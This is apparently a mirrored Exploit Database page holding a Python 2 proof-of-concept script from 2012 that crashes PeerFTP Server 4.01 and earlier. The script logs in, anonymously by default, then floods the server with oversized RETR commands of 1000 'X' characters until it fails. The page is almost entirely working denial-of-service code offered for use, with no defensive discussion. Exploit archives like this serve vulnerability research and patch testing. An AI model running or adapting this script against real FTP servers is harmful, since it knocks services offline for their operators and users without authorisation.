PeerFTP Server 4.01 – Remote Crash (PoC)

• Exploit Database
• 14 阅读

• 作者： localh0t
  日期： 2012-03-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18628/

• #!/usr/bin/python
  
  # PeerFTP Server <=v4.01 Remote Crash PoC
  # written by localh0t
  # Date: 19/03/12
  # Contact: mattdch0@gmail.com
  # Follow: @mattdch
  # www.localh0t.com.ar
  
  from socket import *
  import sys, struct, os
  
  if (len(sys.argv) < 3):
  	print "\nPeerFTP Server <=v4.01 Remote Crash PoC"
  print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
  	sys.exit()
  
  
  def checkDefaultUser(username,password):
  	if username == '':
  		username = "anonymous"
  	if password == '':
  		password = "anonymous@test.com"
  	else:
  		pass
  	return username,password
  
  def createUser():
  	username = raw_input("[!] Insert username (default: anonymous)> ")
  	password = raw_input("[!] Insert password (default: anonymous@test.com)> ")
  	return checkDefaultUser(username,password)
  
  (username,password) = createUser()
  
  print "\n[!] Connecting to %s ..." %(sys.argv[1])
  
  # connect to host
  sock = socket(AF_INET,SOCK_STREAM)
  sock.connect((sys.argv[1],int(sys.argv[2])))
  sock.recv(1024)
  
  print "[!] USERNAME: " + username
  
  sock.send("USER " + username + "\r\n")
  sock.recv(1024)
  
  print "[!] PASSWORD: " + password
  
  sock.send("PASS " + password + "\r\n")
  sock.recv(1024)
  
  print "[!] Sending payload..."
  
  payload = "RETR " + ("X" * 1000) + "\r\n"
  
  for i in range (1, 5):
  	sock.send(payload)
  
  sock.close()
  print "[!] Exploit succeed. Target should crashed."
  sys.exit()